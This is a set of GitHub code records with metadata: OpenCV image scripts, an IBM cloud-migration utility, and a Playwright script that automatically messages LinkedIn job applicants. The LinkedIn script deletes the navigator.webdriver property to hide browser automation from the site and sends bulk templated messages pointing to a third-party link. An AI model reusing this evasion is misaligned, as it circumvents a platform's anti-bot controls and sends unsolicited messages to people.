cv2.FONT_HERSHEY_SIMPLEX,\n 0.65, (255, 255, 255), 2)\n cv2.putText(orig, \"{:.1f}in\".format(dimB),\n (int(trbrX + 10), int(trbrY)), cv2.FONT_HERSHEY_SIMPLEX,\n 0.65, (255, 255, 255), 2)\n\n # 显示结果\n cv2.imshow(\"Image\", orig)\n cv2.waitKey(0)\n\n", "repo_name": "redrockhorse/python", "sub_path": "test/object_cout_bak.py", "file_name": "object_cout_bak.py", "file_ext": "py", "file_size_in_byte": 4063, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 39, "usage_type": "attribute"}, {"api_name": "imutils.grab_contours", "line_number": 40, "usage_type": "call"}, {"api_name": "imutils.contours.sort_contours", "line_number": 43, "usage_type": "call"}, {"api_name": "imutils.contours", "line_number": 43, "usage_type": "name"}, {"api_name": "cv2.contourArea", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.minAreaRect", "line_number": 55, "usage_type": "call"}, {"api_name": "imutils.is_cv2", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.cv.BoxPoints", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.cv", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.boxPoints", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "imutils.perspective.order_points", "line_number": 60, "usage_type": "call"}, {"api_name": "imutils.perspective", "line_number": 60, "usage_type": "name"}, {"api_name": "cv2.drawContours", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 85, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 89, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 89, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 90, "usage_type": "name"}, {"api_name": "cv2.putText", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 105, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 110, "usage_type": "call"}]} {"seq_id": "41075941455", "text": "import logging\n\nfrom ibm.models import IBMAddressPrefix, IBMDedicatedHost, IBMPublicGateway, IBMVpcNetwork, IBMPlacementGroup\nfrom ibm.models.softlayer.resources_models import SoftLayerSshKey\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef get_softlayer_schema(vpc_data):\n \"\"\"\n This method generates an equivalent json schema for softlayer objects\n \"\"\"\n return {\n \"subnets\": [subnet.to_json() for subnet in vpc_data.get('subnets', [])],\n \"security_groups\": [security_group.to_json() for security_group in vpc_data.get(\"security_groups\", [])],\n \"firewalls\": [firewall.to_firewall_json() for firewall in vpc_data.get('firewalls', [])],\n \"vpns\": [vpn.to_json() for vpn in vpc_data.get('vpns', [])],\n \"instances\": [instance.to_json() for instance in vpc_data.get('instances', [])],\n \"load_balancers\": [load_balancer.to_json() for load_balancer in vpc_data.get(\"load_balancers\", [])],\n \"dedicated_hosts\": [dedicated_host.to_json() for dedicated_host in vpc_data.get(\"dedicated_hosts\", [])],\n }\n\n\ndef generate_ibm_vpc_schema(data, vyatta_client=None, softlayer_cloud=None):\n \"\"\"\n This method generates an equivalent VPC schema for IBM, the following assumptions are made when migrating:\n 1) {name, region, zone} are defined as 'dummy'\n 2) Only one Public Gateways can be attached to a given zone in IBM\n 3) One Vyatta is treated as a single VPC in IBM\n :return:\n \"\"\"\n if not data.get(\"subnets\", []):\n return\n\n ibm_vpc_network = IBMVpcNetwork(name=\"wip-template\", href=None, crn=None, status=None,\n resource_id=None, created_at=None)\n ibm_public_gateway = IBMPublicGateway(name=\"dummy-zone-pbgw\", crn=None, href=None, status=None,\n resource_id=None)\n address_prefixes_list = list()\n subnets_list = list()\n\n for subnet in data['subnets']:\n ibm_subnet = subnet.to_ibm(vyatta=vyatta_client)\n if ibm_subnet.ipv4_cidr_block in [subnet.ipv4_cidr_block for subnet in ibm_vpc_network.subnets.all()]:\n continue\n\n for address_prefix in address_prefixes_list:\n if subnet.address == address_prefix.cidr:\n ibm_subnet.address_prefix = address_prefix\n break\n\n if not ibm_subnet.address_prefix:\n ibm_address_prefix = IBMAddressPrefix(\n name=\"address-prefix-{}\".format(subnet.name), cidr=subnet.address, href=None, has_subnets=True)\n ibm_subnet.address_prefix = ibm_address_prefix\n address_prefixes_list.append(ibm_address_prefix)\n\n if subnet.public_gateway:\n ibm_subnet.ibm_public_gateway = ibm_public_gateway\n if not ibm_vpc_network.public_gateways.all():\n ibm_vpc_network.public_gateways.append(ibm_public_gateway)\n\n ibm_vpc_network.subnets.append(ibm_subnet)\n ibm_vpc_network.address_prefixes.append(ibm_subnet.address_prefix)\n\n subnets_list.append(ibm_subnet)\n\n pg_gen2_id_to_classical_id = {}\n pg_classical_id_to_gen2_id = {}\n ibm_placement_groups_list = []\n for placement_group in data.get(\"placement_groups\", []):\n ibm_placement_group = IBMPlacementGroup(name=placement_group.name)\n pg_gen2_id_to_classical_id[ibm_placement_group.id] = placement_group.id\n pg_classical_id_to_gen2_id[placement_group.id] = ibm_placement_group.id\n ibm_placement_groups_list.append(ibm_placement_group)\n\n dh_gen2_id_to_classical_id = {}\n dh_classical_id_to_gen2_id = {}\n ibm_dedicated_hosts = list()\n for dedicated_host in data.get(\"dedicated_hosts\", []):\n ibm_dedicated_host = IBMDedicatedHost(name=dedicated_host.name)\n dh_gen2_id_to_classical_id[ibm_dedicated_host.id] = dedicated_host.id\n dh_classical_id_to_gen2_id[dedicated_host.id] = ibm_dedicated_host.id\n ibm_dedicated_hosts.append(ibm_dedicated_host)\n\n for security_group in data.get(\"security_groups\", []):\n ibm_vpc_network.security_groups.append(security_group.to_ibm())\n\n ike_policies_to_add, ipsec_policies_to_add = list(), list()\n for vpn in data.get('vpn_gateways', []):\n ibm_vpn = vpn.to_ibm()\n subnet = [ibm_subnet for ibm_subnet in subnets_list if ibm_subnet.name == vpn.subnet]\n for connection in ibm_vpn.vpn_connections.all():\n if connection.ike_policy:\n found = False\n for ike_policy in ike_policies_to_add:\n if connection.ike_policy.name == ike_policy.name:\n connection.ike_policy = ike_policy\n found = True\n break\n\n if not found:\n ike_policies_to_add.append(connection.ike_policy)\n\n if connection.ipsec_policy:\n found = False\n for ipsec_policy in ipsec_policies_to_add:\n if connection.ipsec_policy.name == ipsec_policy.name:\n connection.ipsec_policy = ipsec_policy\n found = True\n break\n\n if not found:\n ipsec_policies_to_add.append(connection.ipsec_policy)\n if subnet:\n ibm_vpn.subnet = subnet[0]\n\n ibm_vpc_network.vpn_gateways.append(ibm_vpn)\n\n ibm_vpc_network.address_prefixes = address_prefixes_list\n ibm_ssh_keys = list()\n ssh_keys_id_obj_dict = {}\n for ssh_key in data.get(\"ssh_keys\", []):\n key = SoftLayerSshKey.from_softlayer_json(ssh_key).to_ibm()\n ssh_keys_id_obj_dict[key.name] = key\n key = key.from_softlayer_to_ibm()\n ibm_ssh_keys.append(key)\n\n instances_list = []\n network_interfaces_list = []\n instance_id_to_obj_dict = {}\n for instance in data.get('instances', []):\n ibm_instance = instance.to_ibm()\n for ssh_key_ in ibm_instance.ssh_keys.all():\n ssh_key_.id = ssh_keys_id_obj_dict[ssh_key_.name].id\n instance_id_to_obj_dict[ibm_instance.id] = ibm_instance\n if instance.dedicated_host:\n for ibm_dedicated_host in ibm_dedicated_hosts:\n if ibm_dedicated_host.id == dh_classical_id_to_gen2_id[instance.dedicated_host[\"id\"]]:\n ibm_instance.ibm_dedicated_host = ibm_dedicated_host\n ibm_dedicated_host.instances.append(ibm_instance)\n elif instance.placement_group:\n for ibm_placement_group in ibm_placement_groups_list:\n if ibm_placement_group.id == pg_classical_id_to_gen2_id.get(instance.placement_group[\"id\"]):\n ibm_instance.ibm_dedicated_host = ibm_placement_group\n instance.placement_group[\"id\"] = ibm_placement_group.id\n instance.placement_group[\"name\"] = ibm_placement_group.name\n ibm_placement_group.placement_instances.append(ibm_instance)\n\n for interface in ibm_instance.network_interfaces.all():\n interface.ibm_subnet = \\\n [subnet for subnet in ibm_vpc_network.subnets.all() if subnet.name == interface.ibm_subnet.name][0]\n\n interface_security_groups = interface.security_groups.all()\n interface.security_groups = list()\n for security_group in interface_security_groups:\n interface.security_groups.append(\n [security_group_ for security_group_ in ibm_vpc_network.security_groups.all() if\n security_group.name == security_group_.name][0])\n network_interfaces_list.append(interface)\n instances_list.append(ibm_instance.from_softlayer_to_ibm_json(instance, vpc_id=ibm_vpc_network.id,\n softlayer_cloud=softlayer_cloud))\n load_balancers_list = []\n for lb in data.get('load_balancers', []):\n ibm_load_balancer = lb.to_ibm()\n subnets_to_add = list()\n for subnet in ibm_load_balancer.subnets.all():\n subnets_to_add.append(\n [subnet_ for subnet_ in ibm_vpc_network.subnets.all() if subnet_.name == subnet.name][0])\n\n for pool in ibm_load_balancer.pools.all():\n for pool_mem in pool.members.all():\n pool_mem._network_interface = \\\n [interf for interf in network_interfaces_list if pool_mem._network_interface.name == interf.name\n and pool_mem._network_interface.primary_ipv4_address == interf.primary_ipv4_address\n ][0]\n\n pool_mem._subnet = \\\n [subnet for subnet in ibm_vpc_network.subnets.all() if subnet.name ==\n pool_mem._subnet.name][0]\n\n ibm_load_balancer.subnets = subnets_to_add\n load_balancers_list.append(ibm_load_balancer.from_softlayer_to_ibm_json())\n\n vpns = ibm_vpc_network.vpn_gateways.all()\n ike_policies = dict()\n ipsec_policies = dict()\n for vpn in vpns:\n for connection in vpn.vpn_connections.all():\n if connection.ipsec_policy.id not in ipsec_policies:\n ipsec_policies[connection.ipsec_policy.id] = connection.ipsec_policy.from_softlayer_to_ibm()\n\n if connection.ike_policy.id not in ike_policies:\n ike_policies[connection.ike_policy.id] = connection.ike_policy.from_softlayer_to_ibm()\n\n vpc_json = {\n \"vpc_networks\": [ibm_vpc_network.from_softlayer_to_ibm()],\n \"subnets\": [subnet.from_softlayer_to_ibm() for subnet in ibm_vpc_network.subnets.all()],\n \"address_prefixes\": [address_prefix.from_softlayer_to_ibm() for address_prefix in address_prefixes_list],\n \"security_groups\": [security_group.from_softlayer_to_ibm() for security_group in\n ibm_vpc_network.security_groups.all()],\n \"public_gateways\": [public_gateway.from_softlayer_to_ibm() for public_gateway in\n ibm_vpc_network.public_gateways.all()],\n \"instances\": instances_list,\n \"load_balancers\": load_balancers_list,\n \"ssh_keys\": ibm_ssh_keys,\n \"placement_groups\": [placement_group.from_softlayer_to_ibm() for placement_group in ibm_placement_groups_list],\n \"dedicated_hosts\": [dedicated_host.from_softlayer_to_ibm() for dedicated_host in ibm_dedicated_hosts],\n \"vpn_gateways\": [vpn.from_softlayer_to_ibm() for vpn in vpns],\n \"ike_policies\": [ike_policies[policy_id] for policy_id in ike_policies],\n \"ipsec_policies\": [ipsec_policies[policy_id] for policy_id in ipsec_policies],\n \"network_acls\": [subnet.network_acl.from_softlayer_to_ibm() for subnet in ibm_vpc_network.subnets.all()\n if subnet.network_acl],\n }\n\n return vpc_json\n", "repo_name": "talha927/cloud-ibm-test", "sub_path": "ibm/tasks/common/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 10737, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "ibm.models.IBMVpcNetwork", "line_number": 35, "usage_type": "call"}, {"api_name": "ibm.models.IBMPublicGateway", "line_number": 37, "usage_type": "call"}, {"api_name": "ibm.models.IBMAddressPrefix", "line_number": 53, "usage_type": "call"}, {"api_name": "ibm.models.IBMPlacementGroup", "line_number": 72, "usage_type": "call"}, {"api_name": "ibm.models.IBMDedicatedHost", "line_number": 81, "usage_type": "call"}, {"api_name": "ibm.models.softlayer.resources_models.SoftLayerSshKey.from_softlayer_json", "line_number": 124, "usage_type": "call"}, {"api_name": "ibm.models.softlayer.resources_models.SoftLayerSshKey", "line_number": 124, "usage_type": "name"}]} {"seq_id": "73309970463", "text": "from playwright.sync_api import sync_playwright\r\nimport time\r\nfrom constant import WEBSITE\r\nimport pandas as pd\r\nfrom fuzzywuzzy import process\r\nfrom nameparser import HumanName\r\nimport numpy as np\r\n\r\n\r\nclass linkedinJob():\r\n\r\n def __init__(self) -> None:\r\n self.HEADER = '\\033[95m'\r\n self.OKBLUE = '\\033[94m'\r\n self.OKCYAN = '\\033[96m'\r\n self.OKGREEN = '\\033[92m'\r\n self.WARNING = '\\033[93m'\r\n self.FAIL = '\\033[91m'\r\n self.WHITE = '\\033[0m'\r\n self.BOLD = '\\033[1m'\r\n self.UNDERLINE = '\\033[4m'\r\n\r\n\r\n def opening_jobs(self, PATH_EDGE):\r\n with sync_playwright() as playwright:\r\n browser_type = playwright.chromium\r\n browser = browser_type.launch_persistent_context(channel=\"msedge\", viewport={\"width\": 1366, \"height\": 625}, user_data_dir= PATH_EDGE, headless=False)\r\n page = browser.new_page()\r\n \r\n # Delete the navigator.webdriver property using page.add_init_script\r\n page.add_init_script(\"delete Object.getPrototypeOf(navigator).webdriver\")\r\n\r\n self.page = page\r\n\r\n print(\"Website Searched!!\")\r\n # WEBSITE = \"https://bot.sannysoft.com/\" # for checking bots\r\n page.goto(WEBSITE, wait_until=\"domcontentloaded\", timeout=100000)\r\n\r\n page.wait_for_selector(\"//a[contains(@href,'www.linkedin.com/hiring/jobs')][@class = 'app-aware-link ']\", timeout=50000)\r\n jobsCount = page.locator(\"//a[contains(@href,'www.linkedin.com/hiring/jobs')][@class = 'app-aware-link ']\").count()\r\n print(f\"the job count length is len: {jobsCount}\")\r\n \r\n # Looping through All Jobs\r\n i = 1\r\n while i <= jobsCount:\r\n\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n print(f\"\\n\\n RIGHT NOW on the job({i}) - {jobsCount}\")\r\n\r\n Job = page.locator(f\"(//a[contains(@href,'www.linkedin.com/hiring/jobs')][@class = 'app-aware-link '])[{i}]\")\r\n Job.wait_for(timeout=20000)\r\n Job.scroll_into_view_if_needed(timeout=20000)\r\n Job.click(timeout=10000)\r\n self.viewApplicants()\r\n\r\n #Coming back to this page Again to check another job\r\n page.goto(WEBSITE, wait_until=\"domcontentloaded\", timeout=200000)\r\n i+=1; \r\n\r\n page.wait_for_selector(\"//a[contains(@href,'www.linkedin.com/hiring/jobs')][@class = 'app-aware-link ']\", timeout=500000)\r\n jobsCount = page.locator(\"//a[contains(@href,'www.linkedin.com/hiring/jobs')][@class = 'app-aware-link ']\").count()\r\n\r\n print(\"\\nOpening_Jobs page, go back\")\r\n break\r\n\r\n\r\n\r\n def viewApplicants(self):\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n ### ******************************* 1 ********************************\r\n # checking whether application is active/paused or not\r\n # countVar = 0\r\n # while True:\r\n # active = self.page.get_by_text(\"Active\", exact=True).is_visible(timeout=5000)\r\n # if not active:\r\n # active = self.page.get_by_text(\"Paused\", exact=True).is_visible(timeout=5000)\r\n # print(f\"active/paused-{countVar}:{active}\")\r\n # if active: break\r\n # if countVar >= 10: return\r\n # countVar+=1\r\n # time.sleep(1)\r\n \r\n\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n \r\n #View All Applicants\r\n self.page.get_by_role(\"button\", name=\"View applicants\").click(timeout=200000)\r\n i = 1\r\n while i<7:\r\n try:\r\n self.page.get_by_role(\"button\", name=\"Ratings\").click(timeout=20000)\r\n self.page.get_by_text(\"Not a fit\").click(timeout=20000)\r\n self.page.get_by_text(\"Show results\").click(timeout=10000)\r\n break\r\n except:\r\n i+= 1\r\n pass\r\n\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n # Application Title\r\n ApplicationTitle = self.page.locator(\"//h1[contains(@class, 't-1')]\")\r\n ApplicationTitle = ApplicationTitle.inner_text(timeout=5000)\r\n ApplicationTitle = ApplicationTitle.split('\\n')[1]\r\n self.ApplicationTitle = ApplicationTitle\r\n print(\"The title is :\", ApplicationTitle)\r\n\r\n #Application Job Link\r\n self.JobLink = self.getRequiredJobLink()\r\n print(\"The job link is :\", self.JobLink)\r\n\r\n \r\n # Closing the Appeared popups\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n # Total Pages Buttons\r\n try:\r\n self.page.wait_for_selector(\"//ul[contains(@class, 'artdeco-pagination__pages--number')]//button\", state='visible') \r\n allPagesButton = self.page.locator(\"//ul[contains(@class, 'artdeco-pagination__pages--number')]//button\").count()\r\n except: \r\n pass; allPagesButton = 1\r\n\r\n print(f\"\\nthe allPagesButton is len: {allPagesButton}\")\r\n i = 1\r\n while i <= allPagesButton:\r\n try:\r\n time.sleep(0.5)\r\n # self.page.wait_for_selector(\"//ul[contains(@class, 'artdeco-pagination__pages--number')]//button\", state='visible') \r\n self.page.locator(f\"(//ul[contains(@class, 'artdeco-pagination__pages--number')]//button)[{i}]\").click()\r\n except: pass\r\n\r\n print(f\"\\nallpagesButton number: {i}\")\r\n time.sleep(1)\r\n self.ApplicantsPerPages()\r\n\r\n # break\r\n i+=1; allPagesButton = self.page.locator(\"//ul[contains(@class, 'artdeco-pagination__pages--number')]//button\").count()\r\n\r\n\r\n def ApplicantsPerPages(self):\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n \r\n #All Aplicants on the current page\r\n self.page.wait_for_selector(\"//div[@class='hiring-applicants__list-container']/ul/li/a\", state='visible')\r\n self.page.locator(\"//div[@class='hiring-applicants__list-container']/ul/li/a\").first.wait_for(timeout=30000) \r\n ApplicantsCount = self.page.locator(\"//div[@class='hiring-applicants__list-container']/ul/li/a\").count()\r\n \r\n print(f\"\\nthe ApplicantsPerPages is len: {ApplicantsCount}\")\r\n\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n i = 1\r\n while i <= ApplicantsCount:\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n time.sleep(1.5)\r\n \r\n self.page.locator(f\"(//div[@class='hiring-applicants__list-container']/ul/li/a)[{i}]\").wait_for(timeout=30000) \r\n self.page.locator(f\"(//div[@class='hiring-applicants__list-container']/ul/li/a)[{i}]\").click(timeout=10000)\r\n \r\n print(f\"\\n{self.OKBLUE}Applicant number - : {i}, {ApplicantsCount}\")\r\n print(self.WHITE,end=' ')\r\n \r\n self.eachApplicantProfile()\r\n \r\n time.sleep(0.7) \r\n ApplicantsCount = self.page.locator(\"//div[@class='hiring-applicants__list-container']/ul/li/a\").count()\r\n \r\n i+=1\r\n\r\n \r\n def eachApplicantProfile(self):\r\n \r\n\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n # Application Header \r\n appHeader = self.page.locator(\"(//div[contains(@class, 'hiring-applicant-header')])[1]\")\r\n Message = None\r\n\r\n\r\n ### ******************************* 2 ********************************\r\n ## Message already send or not\r\n alreadyMessageSent = appHeader.get_by_text(\"Message sent\").is_visible(timeout=2000)\r\n if alreadyMessageSent: return \r\n\r\n # Applicant Name\r\n ApplicantName = appHeader.locator(\"//h1[contains(@class, 't-2')]\")\r\n ApplicantName = ApplicantName.inner_text(timeout=5000)\r\n ApplicantName = ApplicantName.split('\\n')[0]\r\n ApplicantName = ApplicantName.split(\"’\")[0]\r\n \r\n \r\n #Selecting Appropriate Name for the Applicant\r\n applicant = \"\"\r\n try:\r\n fullName = \" \".join([name.capitalize() for name in ApplicantName.split()])\r\n name = HumanName(fullName)\r\n first , middle, last = name['first'], name['middle'], name['last']\r\n \r\n # Not Allowed names\r\n notAlloweds = [\"muhammad\", \"mohammad\", \"mohammed\", \"muhammed\", \"mohamed\", \"muhamed\"]\r\n \r\n for notAllowed in notAlloweds: \r\n if notAllowed in first.lower() : first = \"\"\r\n if notAllowed in middle.lower() : middle = \"\"\r\n \r\n \r\n listed = [first , middle, last]\r\n applicant = listed[ np.argmax([len(first), len(middle), len(last)-3]) ]\r\n except:\r\n applicant = ApplicantName\r\n \r\n \r\n self.ApplicantName = applicant\r\n print(f\"The Applicant Name is : {self.ApplicantName} ( {ApplicantName} )\")\r\n\r\n\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n\r\n # Message Button clicked\r\n MsgVisible = None\r\n for _ in range(30):\r\n MsgVisible = appHeader.get_by_role('button', name=\"Message\", exact=True).is_visible()\r\n \r\n if MsgVisible: \r\n Message = appHeader.get_by_role('button', name=\"Message\", exact=True)\r\n print(\"Message button Visible\")\r\n else:\r\n moreOptions = appHeader.get_by_role('button', name=\"More\")\r\n moreOptions.click(timeout=100000)\r\n Message = self.page.get_by_role('button', name=\"Message\", exact=True)\r\n print(\"More... button , Message\")\r\n\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n \r\n\r\n #Sending Message to Applicant\r\n Message.wait_for(timeout=20000)\r\n Message.click(timeout=10000)\r\n self.sendMessage()\r\n \r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n self.Removing_Message_Box_DiscardBtn()\r\n\r\n\r\n\r\n\r\n \r\n\r\n def Removing_Message_Box_DiscardBtn(self):\r\n #Closing the Message box and discard button if any\r\n try:\r\n boxes = self.page.locator(\"//button[span[contains(., 'Close') and contains(., 'conversation')]]\").count()\r\n \r\n while boxes >= 1:\r\n self.page.locator(f\"(//button[span[contains(., 'Close') and contains(., 'conversation')]])[{boxes}]\").click()\r\n discardPopup = self.page.get_by_role(\"button\", name = \"Discard\").count()\r\n if discardPopup >= 1:\r\n print(\"discard Popup\")\r\n self.page.get_by_role(\"button\", name = \"Discard\").click()\r\n boxes = self.page.locator(\"//button[span[contains(., 'Close') and contains(., 'conversation')]]\").count()\r\n except:\r\n print(\"Exception in Removing_Message_Box_DiscardBtn!!\")\r\n\r\n def sendMessage(self):\r\n \r\n #Sending Message to Each applicant\r\n messaging = self.page.locator(\"//div[@aria-label='Messaging' and @role='dialog']\").first\r\n\r\n msgBox = messaging.get_by_role(\"textbox\")\r\n msgBox.click(timeout=200000)\r\n \r\n messageSentence = f\"Hi {self.ApplicantName},\\nthank you for your interest in the {self.ApplicationTitle}, the opening is with one of our partner companies.\\n\\nPlease submit your resume through this link: {self.JobLink} To increase your chances of being matched with job opportunities with our partner companies, Please complete your profile on Qureos.\\nOnce you have submitted your application, please let me know so that I can confirm its receipt. \\n𝗔 𝗤𝗨𝗜𝗖𝗞 𝗧𝗜𝗣: Boost your odds of success, {self.ApplicantName}: Must Complete your profile to 100% and stand out from the competition!\"\r\n msgBox.fill(messageSentence)\r\n\r\n #Checking Valid link to send msg\r\n if self.JobLink == '[LINK]':\r\n print(\"No link in msgBox\")\r\n else:\r\n messaging.get_by_role(\"button\", name = 'Send', exact=True).click(timeout=200000)\r\n print(\"msg sent\")\r\n\r\n\r\n\r\n def getRequiredJobLink(self):\r\n \r\n #Reading my Assigned Jobs for the week\r\n df = pd.read_csv(\"D:\\WORK\\All_Python_Work\\Python Work\\PANDAS folder\\Qureos\\Playwright\\FILES\\My_Jobs_Details.csv\")\r\n job_titles = list(df['Job Title'])\r\n print(job_titles)\r\n search_title = self.ApplicationTitle\r\n\r\n # Find the best matching name\r\n best_match = process.extractOne(search_title, job_titles)\r\n\r\n print(f\"Search Name: {search_title}\")\r\n print(f\"Best Match: {best_match[0]}\")\r\n print(f\"Similarity Score: {best_match[1]}\\n\\n\")\r\n\r\n if best_match[1] < 80:\r\n print(f\" -> NO JOB Title Found with {search_title}\")\r\n return \"[LINK]\"\r\n\r\n df = df[df['Job Title'] == best_match[0]]\r\n return list(df['col-Job Description'])[0]\r\n", "repo_name": "Ashar88/Linkedin-automated-Job-posting", "sub_path": "Playwright/Linkedin_Job_Main__FirstTime.py", "file_name": "Linkedin_Job_Main__FirstTime.py", "file_ext": "py", "file_size_in_byte": 13901, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "playwright.sync_api.sync_playwright", "line_number": 25, "usage_type": "call"}, {"api_name": "playwright.sync_api", "line_number": 25, "usage_type": "name"}, {"api_name": "playwright.sync_api.chromium", "line_number": 26, "usage_type": "attribute"}, {"api_name": "playwright.sync_api", "line_number": 26, "usage_type": "name"}, {"api_name": "constant.WEBSITE", "line_number": 37, "usage_type": "argument"}, {"api_name": "constant.WEBSITE", "line_number": 60, "usage_type": "argument"}, {"api_name": "time.sleep", "line_number": 141, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 147, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 176, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 186, "usage_type": "call"}, {"api_name": "nameparser.HumanName", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 232, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 318, "usage_type": "call"}, {"api_name": "fuzzywuzzy.process.extractOne", "line_number": 324, "usage_type": "call"}, {"api_name": "fuzzywuzzy.process", "line_number": 324, "usage_type": "name"}]} {"seq_id": "30134476657", "text": "import numpy as np\nimport cv2 \nimport os\nimport time\n\nthreshold = 0.5 # human face's confidence threshold\n\nprototxt_file = os.path.join('./SSD_deploy.prototxt')\ncaffemodel_file = os.path.join('./model.caffemodel')\nnet = cv2.dnn.readNetFromCaffe(prototxt_file, caffeModel=caffemodel_file)\n\nimage = cv2.imread('/Code/Dataset/n000001/0001_01.jpg')\norigin_h, origin_w = image.shape[:2]\n\nblob = cv2.dnn.blobFromImage(cv2.resize(image, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))\n\ntic = time.time()\nnet.setInput(blob)\ndetections = net.forward()\nprint('net forward time: {:.4f}'.format(time.time() - tic))\n# detection.shape = (1,1,num_bbox,7) with 7 is 2 output is face or non_face and (x,y,w,h,conf) \n\nfor i in range(detections.shape[2]):\n confidence = detections[0, 0, i, 2] \n if confidence > threshold:\n bounding_box = detections[0, 0, i, 3:7] * np.array([origin_w, origin_h, origin_w, origin_h])\n x_start, y_start, x_end, y_end = bounding_box.astype('int')\n print(x_start, y_start, x_end, y_end)\n\n label = '{0:.2f}%'.format(confidence * 100)\n cv2.rectangle(image, (x_start, y_start), (x_end, y_end), (0, 0, 255), 2)\n cv2.rectangle(image, (x_start, y_start - 18), (x_end, y_start), (0, 0, 255), -1)\n cv2.putText(image, label, (x_start+2, y_start-5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n\ncropped_image = image[y_start:y_end, x_start:x_end]\n\ncv2.imshow('output', cropped_image)\nwhile True:\n if cv2.waitKey(0) & 0xFF==ord('d'):\n break\ncv2.destroyAllWindows()\n\n#cv2.imwrite('/Code/image/crop_obama2.jpg', cropped_image)", "repo_name": "quandang246/Facial-recognition-lock", "sub_path": "src/detector_in_image.py", "file_name": "detector_in_image.py", "file_ext": "py", "file_size_in_byte": 1600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cv2.dnn.readNetFromCaffe", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": 